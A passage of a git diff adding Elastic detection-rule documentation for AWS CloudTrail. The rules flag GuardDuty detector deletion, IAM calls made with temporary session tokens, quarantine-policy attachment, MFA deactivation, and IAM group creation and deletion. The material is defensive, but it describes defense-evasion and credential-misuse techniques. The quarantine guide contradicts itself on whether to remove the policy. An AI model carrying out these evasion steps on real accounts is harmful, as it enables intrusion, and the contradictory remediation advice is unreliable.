+Amazon GuardDuty is a continuous threat detection service that analyzes CloudTrail, DNS, and VPC Flow Logs to identify malicious activity and compromised resources. Deleting a GuardDuty detector stops this monitoring entirely and permanently removes all historical findings for the affected AWS account. This rule detects successful `DeleteDetector` API calls, which may represent an attacker attempting to impair defenses and evade detection. Such actions should be rare and always performed under controlled administrative change processes.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who initiated the deletion.
+  - Verify whether this principal normally performs GuardDuty configuration or administrative tasks.
+
+- **Review request context**
+  - Check `aws.cloudtrail.request_parameters` and `cloud.region` to confirm the targeted GuardDuty detector and scope of impact.
+  - Determine whether multiple detectors or member accounts were affected (especially in delegated admin organizations).
+
+- **Analyze source and access patterns**
+  - Review `source.ip`, `user_agent.original` and `source.geo` fields for anomalous or previously unseen access locations or automation clients.
+  - Check whether the deletion occurred outside standard maintenance windows or during a concurrent suspicious activity window.
+
+- **Correlate with preceding or related activity**
+  - Search for earlier GuardDuty configuration changes:
+    - `StopMonitoringMembers`, `DisassociateMembers`, or `DeleteMembers`
+    - IAM role or policy modifications reducing GuardDuty privileges
+  - Look for other defense evasion indicators such as CloudTrail suspension, Security Hub configuration changes, or disabling of AWS Config rules.
+
+- **Review historical GuardDuty findings**
+  - Examine prior GuardDuty alerts and findings (if still retrievable) to determine whether the deletion followed significant detection activity.
+  - Use centralized logs or security data lakes to recover findings removed from the console.
+
+
+*False positive analysis*
+
+
+- **Authorized administrative actions**
+  - Verify whether the deletion corresponds to legitimate account decommissioning, region cleanup, or migration activity.
+- **Automation or IaC**
+  - GuardDuty may be disabled temporarily during infrastructure provisioning or teardown in automated environments. 
+    Confirm via CI/CD logs or Infrastructure-as-Code templates.
+- **Organizational configuration changes**
+  - Large organizations might consolidate GuardDuty under a delegated administrator account, causing detectors to be deleted in member accounts. 
+    Validate these actions against security architecture changes.
+
+
+*Response and remediation*
+
+
+- **Containment and restoration**
+  - If unauthorized, immediately re-enable GuardDuty in the affected account and region using the `CreateDetector` API or AWS console.
+  - Verify that findings aggregation and member account associations are restored to expected configurations.
+
+- **Investigation**
+  - Review CloudTrail for related privilege escalation or resource tampering events around the deletion time.
+  - Assess whether any attacker activity occurred during the monitoring gap between deletion and restoration.
+
+- **Recovery and hardening**
+  - Restrict `guardduty:DeleteDetector` permissions to a limited administrative role.
+  - Implement AWS Config rules or Security Hub controls to alert on changes to GuardDuty detectors or configuration states.
+  - Enforce least privilege IAM policies, ensuring operational automation cannot disable GuardDuty outside maintenance workflows.
+  - Document approved GuardDuty maintenance activities and correlate them with change tickets for traceability.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail 
+  and event.provider: guardduty.amazonaws.com 
+  and event.action: DeleteDetector 
+  and event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens.asciidoc
new file mode 100644
index 0000000000..4aa87faa8c
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens.asciidoc
@@ -0,0 +1,168 @@
+[[prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens]]
+=== AWS IAM API Calls via Temporary Session Tokens
+
+Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS CloudTrail
+* Data Source: AWS IAM
+* Data Source: AWS STS
+* Tactic: Persistence
+* Tactic: Privilege Escalation
+* Resources: Investigation Guide
+
+*Version*: 4
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS IAM API Calls via Temporary Session Tokens*
+
+
+Temporary session credentials in AWS (identified by access keys beginning with "ASIA") are typically short-lived tokens 
+issued by the AWS Security Token Service (STS). While they are legitimate and often used by developers or automation pipelines, 
+their use in direct IAM management or privilege modification is highly unusual and may indicate credential misuse.
+
+Attackers who compromise IAM users, roles, or federated identities can obtain session tokens to blend in with normal operations. 
+They may then execute sensitive IAM API actions such as `CreateAccessKey`, `PutUserPolicy`, or `UpdateAssumeRolePolicy` to 
+establish persistence, escalate privileges, or disable protections.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine the originating user or role.
+  - Check `event.original` if ingested, look for `sessionCredentialFromConsole: true`. If this is present, the temporary session token was created as part of a legitimate console login session and this alert can be ignored. 
+  - Examine `aws.cloudtrail.user_identity.session_context.mfa_authenticated` — absence of MFA may indicate token misuse.
+
+- **Analyze the API context**
+  - Review `event.action` and `aws.cloudtrail.request_parameters` for the exact IAM operation performed.
+  - Identify whether the action modifies roles, user policies, trust relationships, or credentials.
+  - Determine if this session token was associated with prior `sts:GetSessionToken`, `sts:AssumeRole`, or `AWS SSO` events.
+
+- **Evaluate source and behavior**
+  - Inspect `source.ip` and `user_agent.original` for unexpected origins or tools.
+  - Check if the request came from known infrastructure (e.g., CI/CD nodes, bastion hosts) or an anomalous network.
+  - Compare `@timestamp` against normal operating hours or deployment schedules.
+
+- **Correlate related activity**
+  - Look for subsequent or preceding activity using the same access key:
+    - IAM changes (`CreateUser`, `AttachUserPolicy`, `EnableMFADevice`)
+    - STS operations (`AssumeRole`, `GetCallerIdentity`)
+    - CloudTrail or GuardDuty configuration changes (possible defense evasion)
+  - If applicable, search for multiple users exhibiting similar patterns, a sign of large-scale token misuse.
+
+
+*False positive analysis*
+
+
+- **Expected automation**
+  - Some CI/CD pipelines, monitoring tools, or AWS SDK-based automation may perform IAM operations using temporary credentials.
+  - Validate whether the IAM user or assumed role performing these actions belongs to an authorized automation workflow.
+- **Administrative operations**
+  - Security or DevOps engineers may temporarily use session credentials for maintenance or testing.
+  - Cross-reference with recent change tickets or known operations schedules.
+- **Federated identity scenarios**
+  - Federated logins (via AWS SSO or external IdPs) can also generate temporary "ASIA" credentials. Verify if the source identity 
+    aligns with expected roles or groups.
+- **Console Login Session**
+  - Console login sessions result in temporary "ASIA" credentials and can typically be ignored for this alert. This can be verified in `event.original` as `sessionCredentialFromConsole: true`
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - If activity is unauthorized, immediately revoke the temporary session by invalidating the associated IAM credentials.
+  - Rotate long-term credentials (access keys, passwords) for the parent IAM user or role.
+
+- **Investigation**
+  - Search for all actions linked to the same `access_key_id` to assess potential persistence or lateral movement.
+  - Examine the creation of new users, keys, or policies during or shortly after the detected session.
+
+- **Recovery and hardening**
+  - Require MFA for all privileged actions using `aws:MultiFactorAuthPresent` conditions.
+  - Implement detection coverage for follow-on persistence actions such as:
+    - `iam:CreateAccessKey`
+    - `iam:PutUserPolicy`
+    - `iam:UpdateAssumeRolePolicy`
+  - Educate administrative users and developers on secure token handling and the risks of shared credential reuse.
+
+
+*Additional information*
+
+
+For more information on detecting and mitigating session token abuse:
+- **https://docs.aws.amazon.com/STS/latest/APIReference/Welcome.html[AWS Security Token Service (STS) Documentation]**
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail
+    and event.provider: ("iam.amazonaws.com")
+    and event.outcome: "success"
+    and aws.cloudtrail.user_identity.type: "IAMUser"
+    and aws.cloudtrail.user_identity.access_key_id: ASIA*
+    and source.ip: *
+    and not user_agent.original : "AWS Internal"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc
new file mode 100644
index 0000000000..6589c0b353
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc
@@ -0,0 +1,113 @@
+[[prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user]]
+=== AWS IAM CompromisedKeyQuarantine Policy Attached to User
+
+This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html/
+* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html/
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS IAM
+* Resources: Investigation Guide
+* Use Case: Identity and Access Audit
+* Tactic: Credential Access
+
+*Version*: 5
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating AWS IAM CompromisedKeyQuarantine Policy Attached to User*
+
+
+The AWS IAM `CompromisedKeyQuarantine` and `CompromisedKeyQuarantineV2` managed policies deny certain action and is applied by the AWS team to a user with exposed credentials.
+This action is accompanied by a support case which specifies instructions to follow before detaching the policy.
+
+
+*Possible Investigation Steps*
+
+
+- **Identify Potentially Compromised Identity**: Review the `userName` parameter of the `aws.cloudtrail.request_parameters` to determine the quarantined IAM entity.
+- **Contextualize with AWS Support Case**: Review any information from AWS comtaining additional information about the quarantined account and the reasoning for quarantine.
+- **Follow Support Case Instructions**: Do not revert the quarantine policy attachment or delete the compromised keys. Instead folow the instructions given in your support case.
+- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in potentially suspicious activities.
+- **Interview Relevant Personnel**: If the compromised key belongs to a user, verify the intent and authorization for these correlated actions with the person or team responsible for managing the compromised key.
+
+
+*False Positive Analysis*
+
+
+- There shouldn't be many false positives related to this action as it is inititated by AWS in response to compromised or publicly exposed credentials.
+
+
+*Response and Remediation*
+
+
+- **Immediate Review and Reversal**: Update the user IAM permissions to remove the quarantine policy and disable the compromised credentials.
+- **Policy Update**: Review and possibly update your organization’s policies on credential storage to tighten control and prevent public exposure.
+- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery.
+
+
+*Additional Information:*
+
+
+For further guidance on managing and securing credentials in AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS IAM User Guide] regarding security best practices and guidance on https://docs.aws.amazon.com/guardduty/latest/ug/compromised-creds.html[Remediating Potentially Compromised AWS Credentials].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where event.dataset == "aws.cloudtrail"
+   and event.action == "AttachUserPolicy"
+   and event.outcome == "success"
+   and stringContains(aws.cloudtrail.request_parameters, "AWSCompromisedKeyQuarantine")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Unsecured Credentials
+** ID: T1552
+** Reference URL: https://attack.mitre.org/techniques/T1552/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device.asciidoc
new file mode 100644
index 0000000000..fc490edf83
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device.asciidoc
@@ -0,0 +1,160 @@
+[[prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device]]
+=== AWS IAM Deactivation of MFA Device
+
+Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html
+* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS CloudTrail
+* Data Source: AWS IAM
+* Resources: Investigation Guide
+* Tactic: Impact
+* Tactic: Persistence
+
+*Version*: 213
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and validated for accuracy and relevance. Always
+> tailor the steps to your organization's environment and operational context.
+
+
+*Investigating AWS IAM Deactivation of MFA Device*
+
+
+This rule detects successful deactivation of a Virtual MFA device in AWS IAM. 
+Deactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. 
+Since MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity.
+
+For more information about using MFA in AWS, access the https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[official documentation].
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and context**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation.
+  - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions.
+  - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK.
+
+- **Review the source and location**
+  - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations.
+  - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint.
+
+- **Correlate with other related activity**
+  - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration.
+  - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted — a common follow-up action.
+  - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation.
+
+- **Validate authorization**
+  - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation.
+  - If not documented or approved, escalate as a potential credential compromise or persistence attempt.
+
+
+*False positive analysis*
+
+
+- **Legitimate device rotation**
+  - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled.
+- **Administrative maintenance**
+  - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows.
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed.
+  - Revoke temporary credentials or tokens associated with the actor to prevent further misuse.
+
+- **Investigation and scoping**
+  - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal.
+  - Determine whether sensitive resources were accessed after MFA removal.
+  - Identify whether multiple users had MFA devices deactivated in a short timeframe — an indicator of broader compromise.
+
+- **Recovery and hardening**
+  - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs).
+  - Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html[DeactivateMFADevice API Reference]**  
+- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** 
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail 
+    and event.provider: iam.amazonaws.com 
+    and event.action: DeactivateMFADevice 
+    and event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Account Access Removal
+** ID: T1531
+** Reference URL: https://attack.mitre.org/techniques/T1531/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Modify Authentication Process
+** ID: T1556
+** Reference URL: https://attack.mitre.org/techniques/T1556/
+* Sub-technique:
+** Name: Multi-Factor Authentication
+** ID: T1556.006
+** Reference URL: https://attack.mitre.org/techniques/T1556/006/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-creation.asciidoc
new file mode 100644
index 0000000000..210b528bc9
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-creation.asciidoc
@@ -0,0 +1,136 @@
+[[prebuilt-rule-8-19-11-aws-iam-group-creation]]
+=== AWS IAM Group Creation
+
+Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-group.html
+* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS IAM
+* Use Case: Identity and Access Audit
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS IAM Group Creation*
+
+
+AWS IAM allows organizations to manage user access and permissions securely. Groups in IAM simplify permission management by allowing multiple users to inherit the same permissions. However, adversaries may exploit this by creating unauthorized groups to gain persistent access. This alert fires on `CreateGroup`. New group creation may indicate attacker staging for persistence, especially if followed by policy attachments or user additions.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and context**  
+  - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` to determine who performed the group creation.  
+  - Review `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for unusual network, client, or region usage.
+
+- **Examine the group details**  
+  - From `aws.cloudtrail.response_elements`, extract `groupName` and `path` (e.g., /service/, /dev/).
+  - Look for immediate follow-on changes by the same actor within the next 15–30 minutes:
+    - AttachGroupPolicy (especially AdministratorAccess or broad s3:*, iam:*).
+    - AddUserToGroup (who was added and when?).
+  - Use GetGroup to enumerate current group membership and attached policies during triage.
+
+- **Correlate with broader activity**  
+  - Look for prior suspicious actions by the same user: `AssumeRole`, `CreateAccessKey`, new IAM user/role.  
+  - After group creation, watch for data-access or configuration changes (e.g., S3 policy updates, KMS key policy changes) 
+
+
+*False positive analysis*
+
+
+- IAM onboarding workflows or DevOps pipelines creating groups for new projects can trigger this alert.  
+- Test or sandbox accounts often create and delete groups routinely, validate account context and approval flows.
+
+
+*Response and remediation:*
+
+
+- **Containment**: 
+  - If suspicious, disable further changes by the actor (temporarily remove IAM write privileges or deactivate keys).
+  - Place a change freeze on the newly created group (block `AttachGroupPolicy`/`AddUserToGroup` via SCP/permissions boundary until review completes).
+
+- **Investigation and scoping**: 
+  - Use `GetGroup`, `ListAttachedGroupPolicies`, `ListUsersInGroup` to enumerate the group’s state and identify any suspicious policies or members. Investigate any attached policies granting broad privileges. 
+  - Hunt for same-actor `AttachGroupPolicy`/`AddUserToGroup` events across the last 24–48h.
+ 
+- **Recovery and hardening**: 
+  - Delete unauthorized, unused or suspicious groups. remove rogue policies/members.
+  - Restrict who can call `iam:CreateGroup`, `iam:AttachGroupPolicy`, and `iam:AddUserToGroup` (least privilege). 
+
+
+*Additional information*
+
+https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices]
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail and 
+    event.provider: iam.amazonaws.com and 
+    event.action: CreateGroup and 
+    event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Create Account
+** ID: T1136
+** Reference URL: https://attack.mitre.org/techniques/T1136/
+* Sub-technique:
+** Name: Cloud Account
+** ID: T1136.003
+** Reference URL: https://attack.mitre.org/techniques/T1136/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-deletion.asciidoc
new file mode 100644
index 0000000000..297e2ec0d3
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-deletion.asciidoc
@@ -0,0 +1,121 @@
+[[prebuilt-rule-8-19-11-aws-iam-group-deletion]]
+=== AWS IAM Group Deletion
+
+Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/delete-group.html
+* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS IAM
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS IAM Group Deletion*
+
+
+Attackers sometimes remove groups to erase evidence, disrupt operations, or prevent users from receiving needed permissions (Impact). Deletion can also follow malicious cleanup after attaching policies and using the group briefly. This alert fires on `DeleteGroup` API call. Consider intentional disruption or covering tracks, particularly if the group was privileged or recently modified.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and environment**  
+  - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id`.  
+  - Check `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for atypical activity.
+
+- **Determine what was lost**
+  - From `aws.cloudtrail.request_parameters`, capture `groupName`.  
+  - Use history or logs to identify existing members and attached policies prior to deletion (ex: `GetGroup`, `ListAttachedGroupPolicies`).  
+  - Determine if the group contained privileged roles/policies that could have been weaponized.
+
+- **Correlate with related activity**
+  - Look in the prior 1–24h for `DetachGroupPolicy`, `RemoveUserFromGroup`, `DeleteGroupPolicy`, which often precede deletion in adversary cleanup workflows.  
+  - After deletion, monitor for creation of new similarly-named groups, or re-attachment of policies to other groups/roles.
+
+
+*False positive analysis*
+
+
+- Projects & services that are being decommissioned often require group deletion. Confirm through internal inventory and change control.  
+- Sandbox or dev accounts frequently create and delete groups; ensure the environment context is understood.
+
+
+*Response and remediation*
+
+
+- **Containment**: If deletion was unauthorized, restrict the actor’s IAM privileges and block further configuration changes.  
+- **Investigation and scoping**: Recover details of the deleted group (members, policies) from logs or AWS Config, and determine the impact of the deletion (which users lost membership, service account disruption).  
+- **Recovery and hardening**: Recreate the group if necessary, restore intended policies and memberships, enforce change-control for group deletions, restrict `iam:DeleteGroup` privileges, and create alerts for destructive IAM operations.
+
+
+*Additional information*
+
+https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices]
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail and 
+    event.provider: iam.amazonaws.com and 
+    event.action: DeleteGroup and 
+    event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Account Access Removal
+** ID: T1531
+** Reference URL: https://attack.mitre.org/techniques/T1531/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation.asciidoc
new file mode 100644
